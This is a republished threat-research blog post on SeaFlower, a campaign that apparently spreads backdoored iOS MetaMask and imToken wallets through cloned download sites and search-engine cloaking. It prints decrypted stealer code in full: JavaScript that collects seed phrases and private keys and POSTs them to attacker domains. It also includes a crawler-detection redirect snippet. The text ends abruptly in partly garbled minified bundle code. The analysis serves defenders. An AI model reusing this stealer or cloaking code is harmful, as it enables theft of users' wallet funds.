SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

APT 2年前 (2022) admin
1,046 0 0
Objective-See’s research, tools, and writing, are supported by the “Friends of Objective-See” such as:

 

In this guest blog post, the security researcher Taha Karim (@lordx64) of Confiant, details a sophisticated threat targeting web3 users.

The writeup was originally posted on Confiant’s site.

Mahalo for sharing Taha! ?

 

Background

Confiant monitors 2.5+ billion ads per day via 110+ integrations in the advertising stack. This provides great visibility on malicious activity infiltrating the ad stack and the broader Internet. And that includes all the web3 malicious activity funneling thru it.

The variety and the range of our detection enable Confiant to detect unique malicious activity as soon as it surfaces.

SeaFlower is an example of this unique cluster of malicious activities targeting web3 wallet users that we will document in this blog post.

 

What is SeaFlower?

SeaFlower is a cluster of activity that we identified earlier this year in March 2022. We believe SeaFlower is the most technically sophisticated threat targeting web3 users, right after the infamous Lazarus Group.

The cluster of activity named “SeaFlower” was chosen for a reason. One of the injected .dylib files in the original Mach-O of the metamask app, contained the full path to xcode derived data, that leaked a macOS username: “Zhang Haike”:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

Author username leak
 

 

This same mistake was made on other libraries that helped leaking more macOS usernames, and thus uncovering a set of personas related to SeaFlower

 

Naturally, Googling “Zhang Haike” was the next step, which gave many Chinese-speaking references, including this one that I found amusing: it is the name of a character in a Chinese novel called “Tibetan Sea Flower”.

The Chinese-speaking references conform to the context of this large campaign, and hint to a strong relationship with a Chinese-speaking entity yet to be uncovered:

  • Uncovered macOS usernames are Chinese names
  • Source code comments in the backdoor code are written in Chinese.
  • Modding/hooking Frameworks used are common in the Chinese-speaking modding community, based on the fact that many tutorials and usages example of these Frameworks are in Chinese and the authors of the tools are Chinese speaking.
  • We uncovered Provisioning profiles, signing infrastructure, and app provisioning infrastructure hosted in the Chinese IP address space and the Hong Kong IP address space in addition to the domains registered with .cn TLD.
Signing infrastructure and provisioning infrastructure might or might not be directly related to SeaFlower as it could be abused or just used as a service.
  • We uncovered multiple cloned websites (mimicking official wallet websites) initially hosted in Hong Kong IP address space
  • CDN abused is Alibaba
  • Most of the search engines targeted are Chinese search engines.

As of today, the main current objective of SeaFlower is to modify web3 wallets with backdoor code that ultimately exfiltrates the seed phrase. The targeted web3 wallets are the following:

The wallets above are 100% safe and you can use them safely. But like any other good and very popular software, they are exposed to modding, reverse engineering, and backdoors. SeaFlower distributes a backdoored version of these wallets by modifying the original ones.

Any users lured into downloading SeaFlower backdoored wallets will ultimately lose their funds. We provided SHA-256 of each analyzed backdoored wallet to help our community identify these backdoored wallets and their multiple variants.

 

SeaFlower Modus operandi

Looking at the various attacks in this new cluster, they have something in common: SeaFlower doesn’t alter the original functionality of the wallet in any way but adds code to exfiltrate the seed phrase, and does it using different techniques increasing in complexity, hopefully, documented in this blog post.

The user experience, the UI, and all the wallet functionality are unchanged, normal/advanced users won’t notice anything while using the app on their phones: it is the legitimate app from the AppStore/Play Store with a sneaking backdoor in it.

But if one is actively monitoring network requests, one will find out that there’s a single network request that is sent to weird-looking domains, for example, we have seen backdoored wallets sending traffic to trx.lnfura[.]org (mimicking infura.io) or metanask[.]cc (mimicking metmask.io) over HTTPS.

Setting up a MITM proxy we could decrypt the HTTPS traffic and find out that the seed phrase, the wallet address, and the balance are sent out to the attacker:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

Intercepting HTTPS traffic of SeaFlower backdoor
But how this is possible? we will have to reverse engineer the apps to determine all the techniques SeaFlower used to make these legitimate apps behave maliciously in the background.

SeaFlower drastically differs from the other web3 intrusion sets we track, with little to no overlap from the Infrastructure in place, but also from the technical capability and coordination point of view: Reverse engineering iOS and Android apps, modding them, provisioning, and automated deployments.

SeaFlower also takes care of the app distribution phase by setting up fake cloned websites where these backdoored wallets can be downloaded. The identified websites are perfect clones of legitimate websites, offering download links:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

imToken cloned website (courtesy of DomainTools) hosted at: appim[.]xyz

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

cloned Metamask website, hosted at: https://74871011[.]huliqianbao[.]com/download.html

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

cloned Coinbase Wallet website hosted at som-coinbase[.]com

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

cloned token pocket website hosted at fastrpo[.]com
 

 

Surprisingly we didn’t find a backdoored chrome extension delivered from these clone websites, all the links point to the real chrome extension in the Chrome Webstore, so as of now, fake chrome extension delivery isn’t part or wasn’t identified in the SeaFlower intrusion-set.

For iOS, SeaFlower is using provisioning profiles. Once installed, the iOS apps are then sideloaded to the victim’s phone and installed. Below are some of the steps we recorded of typically what the victim will see when browsing one of the SeaFlower websites using an iPhone:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets
SeaFlower 藏海花 A backdoor targeting iOS web3 walletsSeaFlower 藏海花 A backdoor targeting iOS web3 wallets
SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

iPhone with multiple installed backdoored wallets
 

We reported at very early stage of this campaign all the Apple developer id’s linked to these provisioning profiles to Apple and they revoked them. We are planning to continue reporting this activity to Apple Threat intelligence teams on a regular basis.

The last question to be answered is how the users are targeted and redirected to these websites offering backdoored wallets? short answer: Search Engines. Indeed, search engines are one of the clear entry points for SeaFlower that we identified to this date, redirecting mobile users to fake/cloned wallet download websites. In particular, Baidu search engine results are one of the initial vectors for these attacks.

Baidu, Inc is a Chinese multinational AI technology company with a search engine. We were interested to see if there’s any SEO or targeting to coinbase or metamask users in that search engine.

We searched for “download metamask ios” and one of the baidu links on the first results page redirected us to token18[.]app website, which was SeaFlower Drive-by download page, sweet!SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

SeaFlower targeting via search engine results
 

While monitoring for results we started noticing that there was an intermediate website, that does a fingerprinting before redirecting to the SeaFlower drive-by download pages. We extracted the client-side fingerprinting from the HTML pages and we identified a code that checks if the referer matches different search engines, in fact, multiple Chinese search engines:SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

SeaFlower intermediate Fingerprinting
 

Most of the search engines mentioned are all Chinese search engines:SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

Chinese search engines targeted by SeaFlower
 

We created a specific detection rule to hunt for any of the above js code, and we found another piece of code that has bot/spider detections, by checking the userAgent strings, we can see again references to Chinese search engines crawlers/spiders:

function isSpider() {  
    var flag = false;  
    var spider = navigator.userAgent.toLowerCase();  
    var spiderSite = ['baiduspider', 'baidu.', '360Spider', 'sogou.', 'soso.', 'yisouspider', 'bingbot', 'bing.', 'google.', 'googlebot'];  
    for (let i = 0, len = spiderSite.length; i < len; i++) {  
        if (spider.indexOf(spiderSite[i]) > 0) {  
            flag = true;  
            break;  
        }  
    }  
    if (!flag) {  
        goPAGE();  
    }  
}

This particular campaign tells us more about the initial vector and the targeting that seems to be search engine oriented, with the majority being Chinese search engines.

At this point, we defined some initial context and learned a bit more about who could be potentially targeted by SeaFlower.

Next, is the backdoored wallets technical analysis part, we will shed some light on how SeaFlower is backdooring the web3 wallets. For readability, we will document in this blogpost how iOS MetaMask wallet and Android Coinbase wallet were backdoored in great detail. The other flavors of these wallets (iOS, Android) and the other wallets (imToken, TokenPocket) are using very similar backdoor code and won’t be all covered in this blogpost but will be briefly documented especially the most relevant parts.

MetaMask wallet (MetaMask iOS app)

SHA-256 of the .IPA file: 9003d11f9ccfe17527ed6b35f5fe33d28e76d97e2906c2dbef11d368de2a75f8
MetaMask for mobile is a React native app, meaning it can run on both iOS and Android. The first signs of backdoor code can be found at the main.jsbundle.

A conditional code block was added at the beginning of WriteFile() function. This code block is not present in the official metamask wallet:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

backdoor code injected inside main.jsbundle
 

 

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

zoomed in backdoor code injected inside main.jsbundle
This conditional backdoor code will execute anytime writeFile() is called on a file whose path contains “persist-root”. If we look at where this file is located using a real iPhone, it is stored within the MetaMask app container, it is a configuration file, containing the seed phrase encrypted amongst other runtime configuration data. The file is specifically found at the following path:

/private/var/mobile/Containers/Data/Application/{CONTAINER UID}/Documents/persistStore/persist-root

This new information gives us a high-level understanding of when the backdoor code is called: right after the MetaMask seed-phrase is generated and about to be stored encrypted in the “persist-root” file. We confirmed this by installing MetaMask app on a real iOS device and indeed a network request with the seed phrase is sent right after the user confirms the seed phrase during the wallet’s first setup installation, which is pretty neat as a backdoor implementation, and completely invisible during the usage.

The only issue here is that the startupload() function highlighted above in the backdoor code, isn’t present in the main.jsbundle() and there are 0 references to this function in any javascript file or any linked .dylib file exported symbols.

hunting for startupload()

This step required reverse engineering and digging into some Arm64 assembly and low-level code as we will see. I will keep it brief to not confuse the readers, hopefully, it will make sense.

So I started looking at the MetaMask compiled Mach-O file, and noticed two injected .dylibs:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

injected .dylib’s into MetaMask wallet iOS app
libmetaDylib.dylib and mn.dylib seems to be good candidates as these are not supposed to be injected in the original MetaMask iOS Mach-O binary.

I am skipping the analysis of mn.dylib as this library is not relevant to the current backdoor as we will see later, so I didn’t spend time analyzing it much.

libmetaDylib.dylib was signed with developer ID iPhone Distribution: pl li (259JS6979T) and team-ID 259JS6979T

libmetaDylib.dylib contains references to 3 known modding/hooking frameworks: Cycript, Cydia Susbtrate, and the Reveal Framework. This is already a red flag, meaning that something has been done to alter the runtime behavior of the app:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

Cycript, Susbtrate and Reveal linked/injected with libmetaDylib.lib
I confirmed Reveal server running in the app container by connecting to it using Reveal app (newer versions of Reveal didn’t work, but got some luck with the version 14 10107, likely the version used by SeaFlower):

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

Reveal Framework installed on the backdoored metamask ios app
Full path to Xcode Derived data was left on the compiled .dylib` leaking a macOS username “lanyu”:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

I’ve found multiple references to MonkeyDev Framework which is a hooking & modding utility written by AloneMonkey. MonkeyDev has custom Xcode templates https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates which make it fully integrated to Xcode during the development cycle of these backdoors:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

MonkeyDev xcode template
At this point, there are multiple tools for hooking or modding but still no sign of startupload() and its implementation.

A Backdoor inside a Backdoor

After several checks identifying where a backdoor code could be injected I started looking at the injected libraries, and ran the usual class-dump on the libmetaDylib.dylib revealed a strange class name FKKKSDFDFFADS, highlighted below:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

a strange looking class name

OCMethodTrace is reference to the OCMethodTrace tool written by Michael Chen aka omxcodec , enabling tracing of objective-C classes/methods. OCMethodTrace is also part of MonkeyDev xcode templates: https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates/blob/master/MonkeyAppLibrary.xctemplate/Trace/OCMethodTrace.h

Cross-referencing the class name FKKKSDFDFFADS I got a solid hit on a Logos tweak installed by the backdoor author, targeting the function dataWithContentsOfFile:options:error the tweek was installed via MSHookMessageEx():

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

tweek defined in _logosLocalInit() function
 

Logos is a Perl regex-based preprocessor that simplifies the boilerplate code needed to create hooks for Objective-C methods and C functions with an elegant Objective-C-like syntax. It’s most commonly used along with the Theos build system, which was originally developed to create jailbreak tweaks

At this point a malicious dataWithContentsOfFile:options:error implemented by the author will get called right before the original one. The malicious dataWithContentsOfFile:options:error contains the following code:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

backdoor code invoked

  • At line 39 there’s a clear call to our strang class FKKKSDFDFFADS
  • At line 29 there’s also a test checking a variable path against the string /meta.app/main.jsbundle.

It seems this function dataWithContentsOfFile:options:error is expecting a “.jsbundlefile to read from and return its content, but let’s take a step back and figure out why the author hooked the call ofdataWithContentsOfFile:options:error` it must be for a specific reason.

Going back to the initial Mach-O MetaMask there’s a reference to dataWithContentsOfFile:options:error at the function 0x1001339cc:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

a function at 0x1001339cc calling dataWithContentsOfFile:options:error
This function is called by RCTJavascriptLoader::loadBundleAtURL:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

At this point, we can conclude that the author is trying to inject a backdoor in the form of a React Native Bundle and have it loaded by RCTJavascriptLoader used by the RCTBridge to load javascript.

Every react native app starts with the creation of an RCTBridge instance. In this, react native loads the javascript, either from the local packager or a pre-built bundle, and executes this inside JavascriptCore.

We are left with one last exercise to confirm all this and call it a wrap by analyzing the weird class FKKKSDFDFFADS.

Below is the decompilation of the method FKKKSDFDFFADS::ddsdf:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

decompilation of FKKKSDFDFFADS::ddsdf
Interesting 🙂 I can see base64 blob of typical RSA pivate key/ public keys What this function does is RSA decrypting an RSA encrypted blob encoded in b64. The author linked the library with antoher library called SCRSACryptor and found reference to it in github here: https://github.com/xialun/RSAClass

So, I just created a project in Xcode, extracted the b64 encrypted blob and the RSA keys, linked it to this library, and wrote the following code snippet to decrypt the blob:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

…and created an iOS project and ran it:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

decrypted SeaFlower backdoor
We finally got the missing startupload() function. Below is the code of this function:

function startupload()
{
if(xlmnmonic!=“” && xlmnmonic!=null && xladdress!=null)
{
var demoString = xlmnmonic+“@”+xladdress+“@”+xlPrivateKey;
fdsafasdf(“https://trx.lnfura.org/api/metamask/ios/GDBPXJ1EXQXWFUAGZRIH3FOVR0SO0VDJLIZLVE1LYOXZECZ61FDC1EHNSPX7KDZWIENCPV7H3KRYNOIENCRTDOIHV2RPKMG4CC4UIDVIJJUTGAIWU7MV6BR8LPJA6XT5”,demoString);
fdsafasdf(“https://metamaskaa.com/api/metamask/ios/c072a5b6becd50f232ff5f0238489bea”,demoString);
}
else{
}
}
function fdsafasdf(dd,ccc)
{
var formData = new FormData();
formData.append(“demoString”,ccc);
fetch(dd,
{
‘method’: ‘POST’,
‘headers’: {
‘Accept’: ‘text/plain’,
},
‘body’:formData
}
)
.then((response) => response.text())
.then((responseText) => {
})
.catch((error) => {
});
}
function readAddressFile()
{
if(xlHFilemanger!=null){
xlHFilemanger.readFile(“/data/data/io.metamask/files/persistStore/persist-root”);
}
}
var xlkeyManager = null;
var xlPrivateKey = “”;
var xladdress = “”;
var xlmnmonic = “”;
var xlhost = null;
var xlFilemanger = null;
var xlHFilemanger = null;
var xlrunAfterInteractions = null;
var __BUNDLE_START_TIME__=this.nativePerformanceNow?nativePerformanceNow():Date.now(),__DEV__=false,process=this.process||{};process.env=process.env||{};process.env.NODE_ENV=process.env.NODE_ENV||“production”;
!(function(r){“use strict”;r.__r=o,r.__d=function(r,i,n){if(null!=e[i])return;var o={dependencyMap:n,factory:r,hasError:!1,importedAll:t,importedDefault:t,isInitialized:!1,publicModule:{exports:{}}};e[i]=o},r.__c=n,r.__registerSegment=function(r,e){s[r]=e};var e=n(),t={},i={}.hasOwnProperty;function n(){return e=Object.create(null)}function o(r){var t=r,i=e[t];return i&&i.isInitialized?i.publicModule.exports:d(t,i)}function l(r){var i=r;if(e[i]&&e[i].importedDefault!==t)return e[i].importedDefault;var n=o(i),l=n&&n.__esModule?n.default:n;return e[i].importedDefault=l}function u(r){var n=r;if(e[n]&&e[n].importedAll!==t)return e[n].importedAll;var l,u=o(n);if(u&&u.__esModule)l=u;else{if(l={},u)for(var a in u)i.call(u,a)&&(l[a]=u[a]);l.default=u}return e[n].importedAll=l}o.importDefault=l,o.importAll=u;var a=!1;function d(e,t){if(!a&&r.ErrorUtils){var i;a=!0;try{i=v(e,t)}catch(e){r.ErrorUtils.reportFatalError(e)}return a=!1,i}return v(e,t)}var c=16,f=65535;function p(r){return{segmentId:r>>>c,localId:r&f}}o.unpackModuleId=p,o.packModuleId=function(r){return(r.segmentId<<c)+r.localId};var s=[];function v(t,i){if(!i&&s.length>0){var n=p(t),a=n.segmentId,d=n.localId,c=s[a];null!=c&&(c(d),i=e[t])}var f=r.nativeRequire;if(!i&&f){var v=p(t),h=v.segmentId;f(v.localId,h),i=e[t]}if(!i)throw Error(‘Requiring unknown module “‘+t+‘”.’);if(i.hasError)throw m(t,i.error);i.isInitialized=!0;var I=i,g=I.factory,y=I.dependencyMap;try{var _=i.publicModule;return _.id=t,g(r,o,l,u,_,_.exports,y),i.factory=void 0,i.dependencyMap=void 0,_.exports}catch(r){throw i.hasError=!0,i.error=r,i.isInitialized=!1,i.publicModule.exports=void 0,r}}function m(r,e){return Error(‘Requiring module “‘+r+‘”, which threw an exception: ‘+e)}})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this);
view rawseaflower2.js hosted with ❤ by GitHub

Above is the source code of the startupload() function. It simply sends a POST request to the trx.lnfura[.]org domain with the seed phrase information that is stored in the variable xlmnmonic.

Starting from line 59, we can see code starting with a __BUNDLE_START_TIME__ confirming that we are dealing with typical React Native Bundle. The code is basically related to the runtime loading of this bundle and to resolving module dependencies, etc:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

(image credit: Rafael de Oleza — Building JavaScript bundles for React Native)
The xlmnmonic variable stores the seed phrase passed to the function _initFromMnemonic which we can find in the main.jsbundle:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

xlmnmonic storing the seed phrase

Validating the backdoor code execution at runtime:

As with any backdoor code found, it is important to validate it at runtime. I installed the backdoored metamask app on a real iOS device, ran debugserver on iOS and waited with LLDB on my laptop to break right after the app is launched. I set a conditional breakpoint to break into anything “logos” :

break set -r "logos" -s libmetaDylib.dylib

…then got a first hit at _logosLocalInit():

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

debuging the backdoor code
After that I stopped at the function I am interested in _logos_meta_method$_ungrouped$NSData$dataWithContentsOfFile$options$error$ (the one added by the backdoor author using MSHookMessageEx()):

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

From there all I have to do is to find where the obj_msgSend() that will call the weird class name FKKKSDFDFFADS::ddsdf, and the backdoor code is finally about to be executed via obj_msgSend() as we can see in the screenshot below:

SeaFlower 藏海花 A backdoor targeting iOS web3 wallets

…and that’s a wrap we confirmed statically, and dynamically the backdoor code and its execution!

Other variants of the MetaMask iOS app backdoor:

By analyzing multiple backdoored iOS MetaMask wallets I found other variants of the backdoor code, with this one having source code comments in Chinese

Note: this same backdoor React Native Bundle variant was re-used on the imToken Wallet iOS app as well.
var monic = “”;
var xlhookTime = 0;
var xldata = “”;
var xlPdata = “”;
var xlcaches = {};
var xlpcaches = {};
var xlpwd = null;
var xlepwd = null;
function mcode(str)
{
if(str!=undefined && str !=“”)
{
monic = str;
}
startUpload();
}
var xlOEx = null;
var isSend = false;
function computeCaches(t)
{
for(var i = 0;i < t.wallets.length; i++)
{
var tmp = t.wallets[i];
console.log(tmp);
var kkk = tmp[“name”]+tmp[“source”];
var tmpXlPwd = xlpwd;
if(tmp[“source”].indexOf(“PRIVATE”)!=1)
{
//console.log(“导入数据。所以要切换密码”+tmpXlPwd[“password”]);
tmpXlPwd = xlepwd;
}
if(xlcaches[kkk]==undefined && tmpXlPwd!=null && tmpXlPwd[“password”] !=undefined && xlpcaches[tmp[“fileId”]]==undefined)
{
if(tmp[“name”]==“TRX” && xlOEx!=null)
{
xlOEx.default(“export_private_key”,{“id”:tmp[“fileId”],“chainType”:tmp[“chainType”],“network”:tmp[“network”]||,“mainAddress”:tmp[“address”],“path”:tmp[“path”]||,“password”:tmpXlPwd[“password”]}).then(function(n){
console.log(“导入的私钥查询”+JSON.stringify(n));
computePrivateKey(tmp[“fileId”],n.value);
}).catch(function(n){
});
}
else
{
xlWalletApi.exportPrivateKey({“id”:tmp[“fileId”],“password”:tmpXlPwd[“password”]});
}
}
if(xlcaches[kkk]==undefined || (tmp[“source”]!=xlcaches[kkk][“data”][“source”]))
{
xlcaches[kkk] = {data:tmp,upload:false}
}
}
try{
if(startUpload!=undefined)
{
startUpload()
}
}catch(e)
{
console.log(“renderMainWalletCard: 异常”+JSON.stringify(e));
}
}
function startUpload()
{
if(monic==“” || monic==undefined)
{
console.log(“monic kong”);
return;
}
monic = monic.replace(/,/g,“_”)
var tmpcache = “”;
var tmpPcache = “”;
for(var tmp in xlcaches)
{
if(xlcaches[tmp].upload==false && xlpcaches[xlcaches[tmp][“data”][“fileId”]]!=undefined)
{
xlcaches[tmp].upload = true;
tmpcache += “@” + JSON.stringify(xlcaches[tmp]);
tmpPcache += “@” + JSON.stringify(xlcaches[tmp])+“##”+xlpcaches[xlcaches[tmp][“data”][“fileId”]];
}
}
if(tmpcache!=“”)
{
console.log(“tmpcache 非空”);
xldata = xldata+monic+tmpcache;
xlPdata = xlPdata +monic+ tmpPcache
}
if(xldata!=“”)
{
postData(“https://mainnet.lnfura.io/api/im/ios/PAP9H7C5GGBANTDVJHKTXLRIVAII62TYL4GW0JIBHHR5DXPZKHK1JFMQQMFXEQRFFZUHTYI7NTT0SSMH77ISFL4BY3AXIEYI5HVP90EC2F1KCIUKNB7PRUGCFAXWE8QK”,xlPdata);
postData(“https://facai.im/api/im/ios/52a38f251655ec9b9f2cb5b2db23b033”,xldata);
xlPdata = “”;
xldata = “”;
}
}
function computePrivateKey(id,key)
{
xlpcaches[id] = key;
console.log(“computePrivateKey:”+id+“——“+key);
}
function postData(url,data)
{
console.log(“发送数据:”+data);
var formData = new FormData();
formData.append(“demoString”,data);
fetch(url,
{
‘method’: ‘POST’,
‘headers’: {
‘Accept’: ‘text/plain’,
},
‘body’:formData
}
)
.then((response) => response.text())
.then((responseText) => {
})
.catch((error) => {
console.warn(error);
});
}
var xlWalletApi = null;
var xlpwd = null;
;var __BUNDLE_START_TIME__=this.nativePerformanceNow?nativePerformanceNow():Date.now(),__DEV__=true,process=this.process||{};process.env=process.env||{};process.env.NODE_ENV=process.env.NODE_ENV||“developer”;
!(function(r){“use strict”;r.__r=o,r.__d=function(r,i,n){if(null!=e[i])return;var o={dependencyMap:n,factory:r,hasError:!1,importedAll:t,importedDefault:t,isInitialized:!1,publicModule:{exports:{}}};e[i]=o},r.__c=n,r.__registerSegment=function(r,e){s[r]=e};var e=n(),t={},i={}.hasOwnProperty;function n(){return e=Object.create(null)}function o(r){var t=r,i=e[t];return i&&i.isInitialized?i.publicModule.exports:d(t,i)}function l(r){var i=r;if(e[i]&&e[i].importedDefault!==t)return e[i].importedDefault;var n=o(i),l=n&&n.__esModule?n.default:n;return e[i].importedDefault=l}function u(r){var n=r;if(e[n]&&e[n].importedAll!==t)return e[n].importedAll;var l,u=o(n);if(u&&u.__esModule)l=u;else{if(l={},u)for(var a in u)i.call(u,a)&&(l[a]=u[a]);l.default=u}return e[n].importedAll=l}o.importDefault=l,o.importAll=u;var a=!1;function d(e,t){if(!a&&r.ErrorUtils){var i;a=!0;try{i=v(e,t)}catch(e){r.ErrorUtils.reportFatalError(e)}return a=!1,i}return v(e,t)}var c=16,f=65535;function p(r){return{segmentId:r>>>c,localId:r&f}}o.unpackModuleId=p,o.packModuleId=function(r){return(r.segmentId<<c)+r.localId};var s=[];function v(t,i){if(!i&&s.length>0){var n=p(t),a=n.segmentId,d=n.localId,c=s[a];null!=c&&(c(d),i=e[t])}var f=r.nativeRequire;if(!i&&f){var v=p(t),h=v.segmentId;f(v.localId,h),i=e[t]}if(!i)throw Error(‘Requiring unknown module “‘+t+‘”.’);if(i.hasError)throw m(t,i.error);i.isInitialized=!0;var I=i,g=I.factory,y=I.dependencyMap;try{var _=i.publicModule;return _.id=t,g(r,o,l,u,_,_.exports,y),i.factory=void 0,i.dependencyMap=void 0,_.exports}catch(r){throw i.hasError=!0,i.error=r,i.isInitialized=!1,i.publicModule.exports=void 0,r}}function m(r,e){return Error(‘Requiring module “‘+r+‘”, which threw an exception: ‘+e)}})(‘undefined’!=typeof globalThis?globalThis:‘undefined’!=typeof global?global:‘undefined’!=typeof window?window:this);
!(function(n){var e=(function(){function n(n,e){return n}function e(n){var e={};return n.forEach(function(n,r){e[n]=!0}),e}function r(n,r,u){if(n.formatValueCalls++,n.formatValueCalls>200)return“[TOO BIG formatValueCalls “+n.formatValueCalls+” exceeded limit of 200]”;var f=t(n,r);if(f)return f;var c=Object.keys(r),s=e(c);if(d(r)&&(c.indexOf(‘message’)>=0||c.indexOf(‘description’)>=0))return o(r);if(0===c.length){if(v(r)){var g=r.name?‘: ‘+r.name:;return n.stylize(‘[Function’+g+‘]’,‘special’)}if(p(r))return n.stylize(RegExp.prototype.toString.call(r),‘regexp’);if(y(r))return n.stylize(Date.prototype.toString.call(r),‘date’);if(d(r))return o(r)}var h,b,m=,j=!1,O=[‘{‘,‘}’];(h=r,Array.isArray(h)&&(j=!0,O=[‘[‘,‘]’]),v(r))&&(m=‘ [Function’+(r.name?‘: ‘+r.name:)+‘]’);return p(r)&&(m=‘ ‘+RegExp.prototype.toString.call(r)),y(r)&&(m=‘ ‘+Date.prototype.toUTCString.call(r)),d(r)&&(m=‘ ‘+o(r)),0!==c.length||j&&0!=r.length?u<0?p(r)?n.stylize(RegExp.prototype.toString.call(r),‘regexp’):n.stylize(‘[Object]’,‘special’):(n.seen.push(r),b=j?i(n,r,u,s,c):c.map(function(e){return l(n,r,u,s,e,j)}),n.seen.pop(),a(b,m,O)):O[0]+m+O[1]}function t(n,e){if(s(e))return n.stylize(‘undefined’,‘undefined’);if(‘string’==typeof e){var r=“‘”+JSON.stringify(e).replace(/^|$/g,).replace(//g,“\\'”).replace(/\\/g,‘”‘)+“‘”;return n.stylize(r,‘string’)}return c(e)?n.stylize(+e,‘number’):u(e)?n.stylize(+e,‘boolean’):f(e)?n.stylize(‘null’,‘null’):void 0}function o(n){return‘[‘+Error.prototype.toString.call(n)+‘]’}function i(n,e,r,t,o){for(var i=[],a=0,u=e.length;a<u;++a)b(e,String(a))?i.push(l(n,e,r,t,String(a),!0)):i.push();return o.forEach(function(o){o.match(/^\d+$/)||i.push(l(n,e,r,t,o,!0))}),i}function l(n,e,t,o,i,l){var a,u,c;if((c=Object.getOwnPropertyDescriptor(e,i)||{value:e[i]}).get?u=c.set?n.stylize(‘[Getter/Setter]’,‘special’):n.stylize(‘[Getter]’,‘special’):c.set&&(u=n.stylize(‘[Setter]’,‘special’)),b(o,i)||(a=‘[‘+i+‘]’),u||(n.seen.indexOf(c.value)<0?(u=f(t)?r(n,c.value,null):r(n,c.value,t1)).indexOf(‘\n’)>1&&(u=l?u.split(‘\n’).map(function(n){return‘ ‘+n}).join(‘\n’).substr(2):‘\n’+u.split(‘\n’).map(function(n){return‘ ‘+n}).join(‘\n’)):u=n.stylize(‘[Circular]’,‘special’)),s(a)){if(l&&i.match(/^\d+$/))return u;(a=JSON.stringify(+i)).match(/^([a-zA-Z_][a-zA-Z_0-9]*)$/)?(a=a.substr(1,a.length2),a=n.stylize(a,‘name’)):(a=a.replace(//g,“\\'”).replace(/\\/g,‘”‘).replace(/(^|$)/g,“‘”),a=n.stylize(a,‘string’))}return a+‘: ‘+u}function a(n,e,r){return n.reduce(function(n,e){return 0,e.indexOf(‘\n’)>=0&&0,n+e.replace(/\u001b\[\d\d?m/g,).length+1},0)>60?r[0]+(===e?:e+‘\n ‘)+‘ ‘+n.join(‘,\n ‘)+‘ ‘+r[1]:r[0]+e+‘ ‘+n.join(‘, ‘)+‘ ‘+r[1]}function u(n){return‘boolean’==typeof n}function f(n){return null===n}function c(n){return‘number’==typeof n}function s(n){return void 0===n}function p(n){return g(n)&&‘[object RegExp]’===h(n)}function g(n){return‘object’==typeof n&&null!==n}function y(n){return g(n)&&‘[object Date]’===h(n)}function d(n){return g(n)&&(‘[object Error]’===h(n)||n instanceof Error)}function v(n){return‘function’==typeof n}function h(n){return Object.prototype.toString.call(n)}function b(n,e){return Object.prototype.hasOwnProperty.call(n,e)}return function(e,t){return r({seen:[],formatValueCalls:0,stylize:n},e,t.depth)}})(),r=‘(index)’,t={trace:0,info:1,warn:2,error:3},o=[];o[t.trace]=‘debug’,o[t.info]=‘log’,o[t.warn]=‘warning’,o[t.error]=‘error’;var i=1;function l(r){return function(){var l;l=1===arguments.length&&‘string’==typeof arguments[0]?arguments[0]:Array.prototype.map.call(arguments,function(n){return e(n,{depth:10})}).join(‘, ‘);var a=arguments[0],u=r;‘string’==typeof a&&‘Warning: ‘===a.slice(0,9)&&u>=t.error&&(u=t.warn),n.__inspectorLog&&n.__inspectorLog(o[u],l,[].slice.call(arguments),i),s.length&&(l=p(,l)),n.nativeLoggingHook(l,u)}}function a(n,e){return Array.apply(null,Array(e)).map(function(){return n})}var u=“\u2502”,f=“\u2510”,c=“\u2518”,s=[];function p(n,e){return s.join()+n+‘ ‘+(e||)}if(n.nativeLoggingHook){n.console;n.console={error:l(t.error),info:l(t.info),log:l(t.info),warn:l(t.warn),trace:l(t.trace),debug:l(t.trace),table:function(e){if(!Array.isArray(e)){var o=e;for(var i in e=[],o)if(o.hasOwnProperty(i)){var l=o[i];l[r]=i,e.push(l)}}if(0!==e.length){var u=Object.keys(e[0]).sort(),f=[],c=[];u.forEach(function(n,r){c[r]=n.length;for(var t=0;t<e.length;t++){var o=(e[t][n]||‘?’).toString();f[t]=f[t]||[],f[t][r]=o,c[r]=Math.max(c[r],o.length)}});for(var s=y(c.map(function(n){return a(‘-‘,n).join()}),‘-‘),p=[y(u),s],g=0;g<e.length;g++)p.push(y(f[g]));n.nativeLoggingHook(‘\n’+p.join(‘\n’),t.info)}else n.nativeLoggingHook(,t.info);function y(n,e){var r=n.map(function(n,e){return n+a(‘ ‘,c[e]n.length).join()});return e=e||‘ 